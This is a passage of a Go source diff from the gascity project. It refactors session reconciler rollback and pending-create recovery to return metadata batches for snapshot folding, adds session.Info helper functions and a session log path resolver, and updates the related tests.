-		return false
+		return false, pendingCreateResidueFold(session)
 	}
 	coreBreakdown := ""
 	if bdj, err := json.Marshal(prepared.coreBreakdown); err == nil {
@@ -2126,11 +2183,11 @@ func recoverRunningPendingCreate(
 	})
 	if err := sessionFrontDoor(store).ApplyPatch(session.ID, metadata); err != nil {
 		if trace != nil {
-			trace.recordDecision("reconciler.session.pending_create", tp.TemplateName, tp.SessionName, "pending_create_commit_failed", "failed", traceRecordPayload{
+			trace.RecordDecision(TraceSiteReconcilerPendingCreate, TraceReasonPendingCreateCommitFailed, TraceOutcomeFailed, tp.TemplateName, tp.SessionName, traceRecordPayload{
 				"error": err.Error(),
-			}, nil, "")
+			})
 		}
-		return false
+		return false, pendingCreateResidueFold(session)
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string, len(metadata))
@@ -2138,10 +2195,53 @@ func recoverRunningPendingCreate(
 	for key, value := range metadata {
 		session.Metadata[key] = value
 	}
+	// buildPreparedStart mints instance_token onto the bead + store (SetMarker) when
+	// it was empty — a residue outside CommitStartedPatch. Carry it in the returned
+	// fold batch so the caller's snapshot reflects it: the Phase-2 drain scan reads
+	// info.InstanceToken (verifiedStop). Already persisted, so this augments only the
+	// returned fold, not the store write.
+	if tok := session.Metadata["instance_token"]; tok != "" {
+		metadata["instance_token"] = tok
+	}
 	if trace != nil {
-		trace.recordDecision("reconciler.session.pending_create", tp.TemplateName, tp.SessionName, "pending_create_healed", "healed", nil, nil, "")
+		trace.RecordDecision(TraceSiteReconcilerPendingCreate, TraceReasonPendingCreateHealed, TraceOutcomeHealed, tp.TemplateName, tp.SessionName, nil)
+	}
+	return true, metadata
+}
+
+// pendingCreateResidueFold returns the buildPreparedStart residue that
+// recoverRunningPendingCreate must carry on the paths that abort before
+// CommitStartedPatch persists, so the caller's snapshot matches the raw bead
+// buildPreparedStart already mutated:
+//   - the stale-resume started_config_hash clear (clearStaleResumeKeyMetadata
+//     writes it to the raw bead + store outside any folded batch) — the
+//     forward-pass config-drift gate reads info.StartedConfigHash (Step 5a),
+//     and a "" hash must skip that block (startup-window, #127), so the snapshot
+//     must not keep the stale pre-tick hash. Its current value is folded: the
+//     clear ("") when the guard fired, or the unchanged original (a no-op fold)
+//     otherwise. Always present, so the returned batch is never nil.
+//   - the instance_token mint (only when set) — the Phase-2 drain scan reads
+//     info.InstanceToken (verifiedStop, Step 2b) and must not see a stale "".
+//
+// The other two clearStaleResumeKeyMetadata keys are not folded here on purpose:
+//   - session_key: no same-tick Info reader.
+//   - continuation_reset_pending: the awake scan reads info.ContinuationResetPending
+//     (a Step-3 read, NOT introduced by 5a). Its residue can defer the
+//     continuation-reset classification by one self-healing tick when the session
+//     carries a durable reset_committed_at (RestartRequestPatch stamps it; no path
+//     clears it) — a pre-existing Step-3/6d coherence gap, #2345-class, that 5a
+//     neither introduces nor changes. Threading it would alter awake-scan behavior
+//     versus the current snapshot and belongs to that separate cleanup, not this
+//     commit. It self-heals on the next tick's store reload.
+func pendingCreateResidueFold(session *beads.Bead) map[string]string {
+	if session == nil {
+		return nil
 	}
-	return true
+	fold := map[string]string{"started_config_hash": session.Metadata["started_config_hash"]}
+	if tok := session.Metadata["instance_token"]; tok != "" {
+		fold["instance_token"] = tok
+	}
+	return fold
 }
 
 func shouldRollbackPendingCreate(session *beads.Bead) bool {
@@ -2151,6 +2251,14 @@ func shouldRollbackPendingCreate(session *beads.Bead) bool {
 	return strings.TrimSpace(session.Metadata["pending_create_claim"]) == "true"
 }
 
+// shouldRollbackPendingCreateInfo is the session.Info sibling of
+// shouldRollbackPendingCreate. Info.PendingCreateClaim already projects the
+// trimmed pending_create_claim == "true" flag, so the nil-bead guard (which only
+// mattered for a nil pointer) collapses to reading the field. Equivalence-proven.
+func shouldRollbackPendingCreateInfo(i sessionpkg.Info) bool {
+	return i.PendingCreateClaim
+}
+
 func runningSessionMatchesPendingCreate(session *beads.Bead, sessionName string, sp runtime.Provider) bool {
 	if session == nil || sp == nil {
 		return false
@@ -2187,46 +2295,65 @@ func runningSessionMatchesPendingCreate(session *beads.Bead, sessionName string,
 	return expectedToken != "" && liveToken == expectedToken
 }
 
-func rollbackPendingCreate(session *beads.Bead, sessFront *sessionpkg.InfoStore, now time.Time, stderr io.Writer) {
+// rollbackPendingCreate returns the metadata batch it mirrored onto the raw bead
+// (last_woke_at="" + conditional session_name="") so the reconciler can fold it
+// onto the typed snapshot (Step 6d write-returns-Info). NOTE: closeBead is
+// STORE-ONLY (it never sets *session.Status), so the raw bead stays open and the
+// returned batch deliberately carries NO Closed change — matching what a raw
+// re-projection of *session sees. The Closed reconstruction is the separate
+// Get-cutover concern, not a pre-pass fold.
+func rollbackPendingCreate(session *beads.Bead, sessFront *sessionpkg.Store, now time.Time, stderr io.Writer) map[string]string {
 	if session == nil || sessFront == nil {
-		return
+		return nil
 	}
-	clearPendingStartInFlightLease(session, sessFront, stderr)
+	batch := clearPendingStartInFlightLease(session, sessFront, stderr)
 	if strings.TrimSpace(session.Metadata["session_name_explicit"]) == "true" {
 		if setMeta(sessFront, session.ID, "session_name", "", stderr) == nil {
 			if session.Metadata == nil {
 				session.Metadata = make(map[string]string)
 			}
 			session.Metadata["session_name"] = ""
+			batch = mergeMetadataPatch(batch, map[string]string{"session_name": ""})
 		}
 	}
 	closeBead(sessFront.Store().Store, session.ID, string(sessionpkg.StateFailedCreate), now, stderr)
+	return batch
 }
 
-func rollbackPendingCreateClearingClaim(session *beads.Bead, sessFront *sessionpkg.InfoStore, now time.Time, stderr io.Writer) {
+// rollbackPendingCreateClearingClaim is rollbackPendingCreate plus the
+// failed-create ClosePatch metadata + claim clears mirrored onto the raw bead
+// when the store-only close succeeds. Returns the full mirrored batch (again with
+// NO Closed change — closeFailedCreateBead is store-only, so *session.Status stays
+// open) for the snapshot fold.
+func rollbackPendingCreateClearingClaim(session *beads.Bead, sessFront *sessionpkg.Store, now time.Time, stderr io.Writer) map[string]string {
 	if session == nil || sessFront == nil {
-		return
+		return nil
 	}
-	clearPendingStartInFlightLease(session, sessFront, stderr)
+	batch := clearPendingStartInFlightLease(session, sessFront, stderr)
 	if strings.TrimSpace(session.Metadata["session_name_explicit"]) == "true" {
 		if setMeta(sessFront, session.ID, "session_name", "", stderr) == nil {
 			if session.Metadata == nil {
 				session.Metadata = make(map[string]string)
 			}
 			session.Metadata["session_name"] = ""
+			batch = mergeMetadataPatch(batch, map[string]string{"session_name": ""})
 		}
 	}
 	if !closeFailedCreateBead(sessFront, session.ID, now, stderr) {
-		return
+		return batch
 	}
 	if session.Metadata == nil {
 		session.Metadata = make(map[string]string)
 	}
-	for key, value := range sessionpkg.ClosePatch(now.UTC(), string(sessionpkg.StateFailedCreate)) {
+	closePatch := sessionpkg.ClosePatch(now.UTC(), string(sessionpkg.StateFailedCreate))
+	for key, value := range closePatch {
 		session.Metadata[key] = value
 	}
 	session.Metadata["pending_create_claim"] = ""
 	session.Metadata["pending_create_started_at"] = ""
+	batch = mergeMetadataPatch(batch, closePatch)
+	batch = mergeMetadataPatch(batch, map[string]string{"pending_create_claim": "", "pending_create_started_at": ""})
+	return batch
 }
 
 func executePlannedStarts(
@@ -2271,7 +2398,7 @@ func executePlannedStartsTraced(
 	// the session-only leaves (circuit metadata, lease clears, commit writes);
 	// nil when store is nil so those leaves keep their store==nil short-circuit.
 	// The raw store stays for the dependency/worker reads this driver also does.
-	var sessFront *sessionpkg.InfoStore
+	var sessFront *sessionpkg.Store
 	if store != nil {
 		sessFront = sessionFrontDoor(store)
 	}
@@ -2393,18 +2520,18 @@ func executePlannedStartsTraced(
 							if done != nil {
 								done()
 							}
-							if err := persistSessionCircuitBreakerMetadata(sessFront, candidate.session, cb, identity, cbNow); err != nil {
+							if err := persistSessionCircuitBreakerMetadata(sessFront, candidate.session.ID, cb, identity, cbNow); err != nil {
 								fmt.Fprintf(stderr, "session reconciler: %v\n", err) //nolint:errcheck // best-effort stderr
 							}
 							cb.LogOpenOnce(identity, stderr)
 							if trace != nil {
-								trace.recordDecision("reconciler.session.circuit_open", candidate.tp.TemplateName, candidate.name(), "circuit_open", "skipped", traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerCircuitOpen, TraceReasonCircuitOpen, TraceOutcomeSkipped, candidate.tp.TemplateName, candidate.name(), traceRecordPayload{
 									"identity": identity,
-								}, nil, "")
+								})
 							}
 							continue
 						}
-						state, err := recordSessionCircuitBreakerRestart(sessFront, candidate.session, cb, identity, cbNow)
+						state, err := recordSessionCircuitBreakerRestart(sessFront, candidate.session.ID, cb, identity, cbNow)
 						if err != nil {
 							if release != nil {
 								release()
@@ -2425,9 +2552,9 @@ func executePlannedStartsTraced(
 							}
 							cb.LogOpenOnce(identity, stderr)
 							if trace != nil {
-								trace.recordDecision("reconciler.session.circuit_trip", candidate.tp.TemplateName, candidate.name(), "circuit_trip", "skipped", traceRecordPayload{
+								trace.RecordDecision(TraceSiteReconcilerCircuitTrip, TraceReasonCircuitTrip, TraceOutcomeSkipped, candidate.tp.TemplateName, candidate.name(), traceRecordPayload{
 									"identity": identity,
-								}, nil, "")
+								})
 							}
 							continue
 						}
@@ -2467,10 +2594,10 @@ func executePlannedStartsTraced(
 			}
 			for _, result := range results {
 				if trace != nil {
-					trace.recordOperation("reconciler.start.execute", result.prepared.candidate.tp.TemplateName, result.prepared.candidate.name(), "", "start", result.outcome, traceRecordPayload{
+					trace.RecordOperation(TraceSiteLifecycleStartRun, TraceReasonStart, TraceOutcomeCode(result.outcome), "", result.prepared.candidate.tp.TemplateName, result.prepared.candidate.name(), result.finished.Sub(result.started), traceRecordPayload{
 						"rollback_pending": result.rollbackPending,
 						"duration_ms":      result.finished.Sub(result.started).Milliseconds(),
-					}, "")
+					})
 				}
 				if result.outcome == "start_enqueued" {
 					logLifecycleOutcome(stderr, "start", wave, result.prepared.candidate.name(), result.prepared.candidate.logicalTemplate(cfg), result.outcome, result.started, result.finished, nil)
@@ -2928,7 +3055,7 @@ func cityStopSessionMarked(store beads.Store, sessionID string) bool {
 	return strings.TrimSpace(b.Metadata["sleep_reason"]) == sleepReasonCityStop
 }
 
-func markCityStopSessionAsAsleep(sessFront *sessionpkg.InfoStore, sessionID string, stderr io.Writer) {
+func markCityStopSessionAsAsleep(sessFront *sessionpkg.Store, sessionID string, stderr io.Writer) {
 	if sessFront == nil || strings.TrimSpace(sessionID) == "" {
 		return
 	}
diff --git a/cmd/gc/session_lifecycle_parallel_test.go b/cmd/gc/session_lifecycle_parallel_test.go
index 6df8cb6b90..b3112e1a00 100644
--- a/cmd/gc/session_lifecycle_parallel_test.go
+++ b/cmd/gc/session_lifecycle_parallel_test.go
@@ -820,7 +820,7 @@ func TestPrepareStartCandidate_UsesAssignedWorkSnapshotForTaskWorkDir(t *testing
 		Agents: []config.Agent{
 			{Name: "worker", Dir: "frontend", MinActiveSessions: intPtr(1), MaxActiveSessions: intPtr(2)},
 		},
-	}, nil, store, &clock.Fake{Time: time.Date(2026, 3, 8, 12, 0, 0, 0, time.UTC)}, nil, newAssignedTaskWorkDirResolver([]beads.Bead{task}))
+	}, nil, store, &clock.Fake{Time: time.Date(2026, 3, 8, 12, 0, 0, 0, time.UTC)}, nil, newAssignedTaskWorkDirResolver("", []beads.Bead{task}))
 	if err != nil {
 		t.Fatalf("prepareStartCandidateForCity: %v", err)
 	}
@@ -4085,7 +4085,7 @@ func TestRecoverRunningPendingCreate_StampsCreationCompleteAtForAlreadyActive(t
 	tp := TemplateParams{SessionName: "sky", TemplateName: "helper"}
 	clkTime := time.Date(2026, 3, 18, 12, 0, 1, 0, time.UTC)
 
-	if !recoverRunningPendingCreate(&bead, tp, cfg, store, &clock.Fake{Time: clkTime}, nil) {
+	if ok, _ := recoverRunningPendingCreate(&bead, tp, cfg, store, &clock.Fake{Time: clkTime}, nil); !ok {
 		t.Fatal("recoverRunningPendingCreate returned false, want true")
 	}
 
@@ -4102,6 +4102,81 @@ func TestRecoverRunningPendingCreate_StampsCreationCompleteAtForAlreadyActive(t
 	}
 }
 
+// recoverRunningPendingCreate's buildPreparedStart mints a fresh instance_token
+// onto the store when the bead carried none — a residue OUTSIDE CommitStartedPatch.
+// The reconciler folds the returned batch onto its infoByID snapshot, and the
+// Phase-2 drain scan reads info.InstanceToken (verifiedStop, Step 2b). If the mint
+// were left out of the returned batch, the snapshot token would stay "" this tick,
+// verifiedStop would skip the incarnation check, and a re-woken runtime the old
+// raw-bead read spared would be killed. The returned batch MUST carry the mint.
+func TestRecoverRunningPendingCreate_ReturnsMintedInstanceTokenForSnapshotFold(t *testing.T) {
+	store := beads.NewMemStore()
+	bead, err := store.Create(beads.Bead{
+		Title:  "helper",
+		Type:   sessionBeadType,
+		Labels: []string{sessionBeadLabel},
+		Metadata: map[string]string{
+			"session_name":         "sky",
+			"pending_create_claim": "true",
+			"state":                "active",
+			"state_reason":         "creation_complete",
+			// No instance_token — buildPreparedStart mints one during recovery.
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	cfg := &config.City{Agents: []config.Agent{{Name: "helper"}}}
+	tp := TemplateParams{SessionName: "sky", TemplateName: "helper"}
+	clkTime := time.Date(2026, 3, 18, 12, 0, 1, 0, time.UTC)
+
+	ok, batch := recoverRunningPendingCreate(&bead, tp, cfg, store, &clock.Fake{Time: clkTime}, nil)
+	if !ok {
+		t.Fatal("recoverRunningPendingCreate returned false, want true")
+	}
+	persisted, err := store.Get(bead.ID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	mintedToken := persisted.Metadata["instance_token"]
+	if mintedToken == "" {
+		t.Fatal("recovery did not mint an instance_token; test cannot exercise the residue fold")
+	}
+	if batch["instance_token"] != mintedToken {
+		t.Fatalf("returned fold batch instance_token = %q, want %q (the persisted mint) — the reconciler snapshot would go stale and verifiedStop would kill a re-woken runtime",
+			batch["instance_token"], mintedToken)
+	}
+}
+
+// TestPendingCreateResidueFold_CarriesStaleResumeStartedConfigHashClear pins the
+// Step-5a fix: buildPreparedStart's stale-resume guard (clearStaleResumeKeyMetadata)
+// clears started_config_hash on the raw bead + store outside any folded batch. On the
+// recoverRunningPendingCreate abort paths, the fold must carry that clear so the
+// reconciler snapshot's Info.StartedConfigHash matches the raw bead — otherwise the
+// forward-pass config-drift gate (which now reads Info.StartedConfigHash) would see a
+// stale non-empty hash and wrongly enter the drift block (#127 startup-window skip).
+func TestPendingCreateResidueFold_CarriesStaleResumeStartedConfigHashClear(t *testing.T) {
+	// A bead whose started_config_hash was just cleared by the stale-resume guard.
+	session := &beads.Bead{ID: "s", Metadata: map[string]string{
+		"instance_token":      "tok",
+		"started_config_hash": "", // cleared
+	}}
+	fold := pendingCreateResidueFold(session)
+	if v, ok := fold["started_config_hash"]; !ok || v != "" {
+		t.Fatalf("fold[started_config_hash] = %q, present=%v; want present and empty (carry the clear)", v, ok)
+	}
+	if fold["instance_token"] != "tok" {
+		t.Fatalf("fold[instance_token] = %q, want tok", fold["instance_token"])
+	}
+
+	// A bead the guard did NOT clear: the fold carries the current hash verbatim (a
+	// no-op fold against a coherent snapshot).
+	kept := &beads.Bead{ID: "s", Metadata: map[string]string{"started_config_hash": "H"}}
+	if v := pendingCreateResidueFold(kept)["started_config_hash"]; v != "H" {
+		t.Fatalf("fold[started_config_hash] = %q, want H (current value carried verbatim)", v)
+	}
+}
+
 // A successful atomic start batch must land state=active, state_reason,
 // creation_complete_at, AND the pending_create_claim clear together —
 // downstream readers (e.g. the pool bead sweep) rely on this atomicity so
diff --git a/cmd/gc/session_lifecycle_payload_test.go b/cmd/gc/session_lifecycle_payload_test.go
index 455d198d48..4b206a2de9 100644
--- a/cmd/gc/session_lifecycle_payload_test.go
+++ b/cmd/gc/session_lifecycle_payload_test.go
@@ -63,7 +63,7 @@ func TestHandoffRemoteEmitsTypedSessionStoppedPayload(t *testing.T) {
 	}
 
 	var stdout, stderr bytes.Buffer
-	code := doHandoffRemote(store, rec, sp, "deacon", "deacon", "mayor",
+	code := doHandoffRemote(store, store, rec, sp, "deacon", "deacon", "mayor",
 		[]string{"Context refresh", "body"}, &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
diff --git a/cmd/gc/session_logs_resolve.go b/cmd/gc/session_logs_resolve.go
new file mode 100644
index 0000000000..d0b995fb36
--- /dev/null
+++ b/cmd/gc/session_logs_resolve.go
@@ -0,0 +1,197 @@
+package main
+
+import (
+	"context"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
+	"github.com/gastownhall/gascity/internal/worker"
+)
+
+// session_logs_resolve.go holds the session-front-door-injected half of `gc
+// session logs`: the resolvers that take the typed *session.Store rather than a
+// raw store. The command root (cmd_session_logs.go) opens the city store and
+// constructs the front door; these leaves receive it, so this file is store-free
+// (frontDoorStoreFreeFiles). Session-bead access reaches the raw session-class
+// store the front door wraps via sessFront.Store().Store — the same underlying
+// store, so behavior is unchanged.
+
+func resolveStoredSessionLogSource(cityPath string, cfg *config.City, sessFront *sessionpkg.Store, identifier string, searchPaths []string) (string, string, bool, string) {
+	logCtx, ok := resolveSessionLogContext(cityPath, cfg, sessFront, identifier)
+	if !ok {
+		return "", "", false, ""
+	}
+	if logCtx.sessionID != "" {
+		handle, err := workerHandleForSessionWithConfig(cityPath, sessFront.Store().Store, newSessionProvider(), cfg, logCtx.sessionID)
+		if err == nil {
+			if path, pathErr := handle.TranscriptPath(context.Background()); pathErr == nil && strings.TrimSpace(path) != "" {
+				return path, logCtx.provider, true, ""
+			}
+		}
+	}
+	path := ""
+	fallbackAllowed := canFallbackStoredSessionLogByWorkDir(sessFront, logCtx)
+	if strings.TrimSpace(logCtx.sessionKey) != "" {
+		path = resolveSessionKeyedLogPath(searchPaths, logCtx)
+		if path == "" && fallbackAllowed {
+			path = resolveSessionLogPath(searchPaths, logCtx)
+		}
+	} else if fallbackAllowed {
+		path = resolveSessionLogPath(searchPaths, logCtx)
+	}
+	if !sessionLogPathFreshEnough(path, logCtx.createdAt) {
+		path = ""
+	}
+	if path == "" && fallbackAllowed {
+		factory, err := worker.NewFactory(worker.FactoryConfig{SearchPaths: searchPaths})
+		if err == nil {
+			path = factory.DiscoverWorkDirTranscript(logCtx.provider, logCtx.workDir)
+		}
+	}
+	if !sessionLogPathFreshEnough(path, logCtx.createdAt) {
+		path = ""
+	}
+	// origin/main addition, ported into the front-door structure: when the plain
+	// workdir fallback is disallowed (multiple live siblings share the workdir),
+	// disambiguate a Codex session by session-start ordering before giving up with
+	// the ambiguity diagnostic.
+	if path == "" && !fallbackAllowed {
+		path = resolveCodexSiblingLogPath(sessFront, searchPaths, logCtx)
+	}
+	if path == "" && !fallbackAllowed {
+		return "", logCtx.provider, true, ambiguousSessionLogDiagnostic(logCtx)
+	}
+	return path, logCtx.provider, true, ""
+}
+
+func resolveSessionLogContext(cityPath string, cfg *config.City, sessFront *sessionpkg.Store, identifier string) (sessionLogContext, bool) {
+	if !sessFront.Backed() {
+		return sessionLogContext{}, false
+	}
+	store := sessFront.Store().Store
+	sessionID, err := resolveSessionIDAllowClosedWithConfig(cityPath, cfg, store, identifier)
+	if err != nil {
+		return sessionLogContext{}, false
+	}
+	b, err := store.Get(sessionID)
+	if err != nil {
+		return sessionLogContext{}, false
+	}
+	info := sessionpkg.InfoFromPersistedBead(b)
+	workDir := strings.TrimSpace(info.WorkDir)
+	if workDir == "" {
+		return sessionLogContext{}, false
+	}
+	provider := strings.TrimSpace(info.ProviderKind)
+	if provider == "" {
+		provider = strings.TrimSpace(info.Provider)
+	}
+	return sessionLogContext{
+		sessionID:  sessionID,
+		workDir:    workDir,
+		sessionKey: strings.TrimSpace(info.SessionKey),
+		provider:   provider,
+		createdAt:  info.CreatedAt,
+	}, true
+}
+
+func canFallbackStoredSessionLogByWorkDir(sessFront *sessionpkg.Store, logCtx sessionLogContext) bool {
+	if !sessFront.Backed() || strings.TrimSpace(logCtx.sessionID) == "" || strings.TrimSpace(logCtx.workDir) == "" {
+		return false
+	}
+	siblings, err := sessionLogFallbackSiblings(sessFront, logCtx)
+	return err == nil && len(siblings) == 1
+}
+
+// sessionLogFallbackSiblings returns the live same-workdir session beads that a
+// workdir-based transcript fallback would be ambiguous across. canFallback...
+// gates on exactly one; resolveCodexSiblingLogPath uses the full set to order
+// Codex transcripts. The filters mirror the pre-split raw-metadata version but
+// read through the session.Info codec (class-store leak closure).
+func sessionLogFallbackSiblings(sessFront *sessionpkg.Store, logCtx sessionLogContext) ([]beads.Bead, error) {
+	all, err := sessionLogFallbackCandidates(sessFront, logCtx.workDir, logCtx.provider)
+	if err != nil {
+		return nil, err
+	}
+	targetLive := false
+	for _, b := range all {
+		if b.ID == logCtx.sessionID {
+			targetLive = sessionLogFallbackCandidateLive(sessionpkg.InfoFromPersistedBead(b))
+			break
+		}
+	}
+	var matches []beads.Bead
+	for _, b := range all {
+		info := sessionpkg.InfoFromPersistedBead(b)
+		if !sessionpkg.IsSessionBeadOrRepairableInfo(info) {
+			continue
+		}
+		if strings.TrimSpace(info.WorkDir) != logCtx.workDir {
+			continue
+		}
+		provider := strings.TrimSpace(info.ProviderKind)
+		if provider == "" {
+			provider = strings.TrimSpace(info.Provider)
+		}
+		if logCtx.provider != "" && provider != "" && provider != logCtx.provider {
+			continue
+		}
+		if targetLive && info.ID != logCtx.sessionID && !sessionLogFallbackCandidateLive(info) {
+			continue
+		}
+		matches = append(matches, b)
+	}
+	return matches, nil
+}
+
+// resolveCodexSiblingLogPath resolves an ambiguous same-workdir Codex session to
+// its transcript by session-start ordering. It is used only when the plain
+// workdir fallback is disallowed because multiple live siblings share the
+// workdir. It returns "" when the sibling set cannot be gathered or the resolved
+// transcript is not fresh enough for the session.
+func resolveCodexSiblingLogPath(sessFront *sessionpkg.Store, searchPaths []string, logCtx sessionLogContext) string {
+	siblings, err := sessionLogFallbackSiblings(sessFront, logCtx)
+	if err != nil {
+		return ""
+	}
+	path := sessionpkg.ResolveCodexTranscriptBySessionOrder(searchPaths, logCtx.provider, logCtx.workDir, logCtx.sessionID, siblings)
+	if !sessionLogPathFreshEnough(path, logCtx.createdAt) {
+		return ""
+	}
+	return path
+}
+
+func sessionLogFallbackCandidates(sessFront *sessionpkg.Store, workDir, provider string) ([]beads.Bead, error) {
+	store := sessFront.Store().Store
+	candidates := make(map[string]beads.Bead)
+	add := func(filters map[string]string) error {
+		found, err := store.ListByMetadata(filters, 0)
+		if err != nil {
+			return err
+		}
+		for _, b := range found {
+			candidates[b.ID] = b
+		}
+		return nil
+	}
+	if strings.TrimSpace(provider) == "" {
+		if err := add(map[string]string{beadmeta.LegacyWorkDirMetadataKey: workDir}); err != nil {
+			return nil, err
+		}
+	} else {
+		if err := add(map[string]string{beadmeta.LegacyWorkDirMetadataKey: workDir, "provider": provider}); err != nil {
+			return nil, err
+		}
+		if err := add(map[string]string{beadmeta.LegacyWorkDirMetadataKey: workDir, "provider_kind": provider}); err != nil {
+			return nil, err
+		}
+	}
+	out := make([]beads.Bead, 0, len(candidates))
+	for _, b := range candidates {
+		out = append(out, b)
+	}
+	return out, nil
+}
diff --git a/cmd/gc/session_model_phase0_demand_spec_test.go b/cmd/gc/session_model_phase0_demand_spec_test.go
index 79843d254c..45992c5486 100644
--- a/cmd/gc/session_model_phase0_demand_spec_test.go
+++ b/cmd/gc/session_model_phase0_demand_spec_test.go
@@ -71,7 +71,7 @@ func TestPhase0PoolDesiredStates_AssigneeOnlyKeepsConcreteSessionAlive(t *testin
 	}}
 	sessions := []beads.Bead{sessionBead("sess-1", "open")}
 
-	result := ComputePoolDesiredStates(cfg, work, sessions, nil)
+	result := ComputePoolDesiredStates(cfg, work, sessionInfosFromBeads(sessions), nil)
 
 	if len(result) != 1 {
 		t.Fatalf("len(result) = %d, want 1", len(result))
diff --git a/cmd/gc/session_name_lookup.go b/cmd/gc/session_name_lookup.go
index e68da03a43..45f39c978d 100644
--- a/cmd/gc/session_name_lookup.go
+++ b/cmd/gc/session_name_lookup.go
@@ -37,6 +37,17 @@ func isPoolManagedSessionBead(bead beads.Bead) bool {
 	return strings.TrimSpace(bead.Metadata["pool_slot"]) != ""
 }
 
+// isPoolManagedSessionInfo is the session.Info mirror of isPoolManagedSessionBead.
+func isPoolManagedSessionInfo(i sessionpkg.Info) bool {
+	if isEphemeralSessionInfo(i) {
+		return true
+	}
+	if i.PoolManaged {
+		return true
+	}
+	return strings.TrimSpace(i.PoolSlot) != ""
+}
+
 // isCanonicalPoolManagedSessionBeadForTemplate is the bead-shape companion to
 // config.Agent.UsesCanonicalSingletonPoolIdentity: pool-managed, no pool slot,
 // and canonical identity according to beadIdentifiesAsCanonical.
@@ -51,6 +62,19 @@ func isCanonicalPoolManagedSessionBeadForTemplate(bead beads.Bead, template stri
 	return beadIdentifiesAsCanonical(bead, template)
 }
 
+// isCanonicalPoolManagedSessionInfoForTemplate is the session.Info mirror of
+// isCanonicalPoolManagedSessionBeadForTemplate.
+func isCanonicalPoolManagedSessionInfoForTemplate(i sessionpkg.Info, template string) bool {
+	template = strings.TrimSpace(template)
+	if template == "" || !isPoolManagedSessionInfo(i) {
+		return false
+	}
+	if strings.TrimSpace(i.PoolSlot) != "" {
+		return false
+	}
+	return infoIdentifiesAsCanonical(i, template)
+}
+
 func resolveLegacyPoolTemplate(cfg *config.City, storedTemplate string) string {
 	storedTemplate = strings.TrimSpace(storedTemplate)
 	if cfg == nil || storedTemplate == "" {
@@ -85,6 +109,15 @@ func sessionBeadStoredTemplate(bead beads.Bead) string {
 	return strings.TrimSpace(bead.Metadata["common_name"])
 }
 
+// sessionBeadStoredTemplateInfo is the session.Info mirror of sessionBeadStoredTemplate.
+func sessionBeadStoredTemplateInfo(i sessionpkg.Info) string {
+	storedTemplate := strings.TrimSpace(i.Template)
+	if storedTemplate != "" {
+		return storedTemplate
+	}
+	return strings.TrimSpace(i.CommonName)
+}
+
 func resolvedTemplateForIdentity(identity string, cfg *config.City) string {
 	identity = strings.TrimSpace(identity)
 	if cfg == nil || identity == "" {
@@ -135,6 +168,22 @@ func resolvedSessionTemplate(bead beads.Bead, cfg *config.City) string {
 	return storedTemplate
 }
 
+// resolvedSessionTemplateInfo is the session.Info mirror of resolvedSessionTemplate.
+func resolvedSessionTemplateInfo(i sessionpkg.Info, cfg *config.City) string {
+	template := normalizedSessionTemplateInfo(i, cfg)
+	if template != "" && (cfg == nil || findAgentByTemplate(cfg, template) != nil) {
+		return normalizeAgentTemplateIdentity(cfg, template)
+	}
+	storedTemplate := sessionBeadStoredTemplateInfo(i)
+	if storedTemplate == "" {
+		return ""
+	}
+	if resolved := resolveLegacyPoolTemplate(cfg, storedTemplate); resolved != "" {
+		return resolved
+	}
+	return storedTemplate
+}
+
 func storedTemplateMatchesPoolTemplate(storedTemplate, template string, cfg *config.City) bool {
 	storedTemplate = strings.TrimSpace(storedTemplate)
 	template = strings.TrimSpace(template)
@@ -148,7 +197,7 @@ func storedTemplateMatchesPoolTemplate(storedTemplate, template string, cfg *con
 }
 
 func createPoolSessionBead(
-	sessFront *sessionpkg.InfoStore,
+	sessFront *sessionpkg.Store,
 	template string,
 	now time.Time,
 	identity poolSessionCreateIdentity,
@@ -398,11 +447,11 @@ func openSessionNameTaken(snapshot *sessionBeadSnapshot, name, selfID string) bo
 	if snapshot == nil || strings.TrimSpace(name) == "" {
 		return false
 	}
-	for _, b := range snapshot.Open() {
+	for _, b := range snapshot.OpenInfos() {
 		if b.ID == selfID {
 			continue
 		}
-		if strings.TrimSpace(b.Metadata["session_name"]) == name {
+		if strings.TrimSpace(b.SessionNameMetadata) == name {
 			return true
 		}
 	}
@@ -477,6 +526,20 @@ func sessionBeadAgentName(bead beads.Bead) string {
 	return ""
 }
 
+// sessionBeadAgentNameInfo is the session.Info mirror of sessionBeadAgentName:
+// agent_name metadata (untrimmed), then the agent:<name> label fallback.
+func sessionBeadAgentNameInfo(i sessionpkg.Info) string {
+	if i.AgentName != "" {
+		return i.AgentName
+	}
+	for _, label := range i.Labels {
+		if strings.HasPrefix(label, "agent:") {
+			return strings.TrimPrefix(label, "agent:")
+		}
+	}
+	return ""
+}
+
 // sessionAgentMetricIdentity resolves the stable agent-identity label for the
 // gc.agent.* lifecycle counters from a session bead. It mirrors the start
 // path's tp.DisplayName() value space so stop and quarantine metrics join the
@@ -533,6 +596,39 @@ func pooledFallbackIdentity(bead beads.Bead, cfg *config.City) string {
 	return template + "-" + slot
 }
 
+// sessionAgentMetricIdentityInfo is the session.Info sibling of
+// sessionAgentMetricIdentity, reading typed Info fields instead of raw bead
+// metadata. Equivalence-proven.
+func sessionAgentMetricIdentityInfo(info sessionpkg.Info, cfg *config.City) string {
+	if identity := sessionBeadAgentNameInfo(info); identity != "" {
+		return identity
+	}
+	if pooled := pooledFallbackIdentityInfo(info, cfg); pooled != "" {
+		return pooled
+	}
+	return info.Template
+}
+
+// pooledFallbackIdentityInfo is the session.Info sibling of
+// pooledFallbackIdentity. Equivalence-proven.
+func pooledFallbackIdentityInfo(info sessionpkg.Info, cfg *config.City) string {
+	template := info.Template
+	slot := info.PoolSlot
+	if template == "" || slot == "" {
+		return ""
+	}
+	if cfg != nil {
+		if agent := findAgentByTemplate(cfg, template); agent != nil {
+			if n, err := strconv.Atoi(strings.TrimSpace(slot)); err == nil {
+				if _, qualifiedInstance := poolInstanceIdentity(agent, n, nil); qualifiedInstance != "" {
+					return qualifiedInstance
+				}
+			}
+		}
+	}
+	return template + "-" + slot
+}
+
 // sessionAgentMetricIdentityByName resolves the gc.agent.* identity label for a
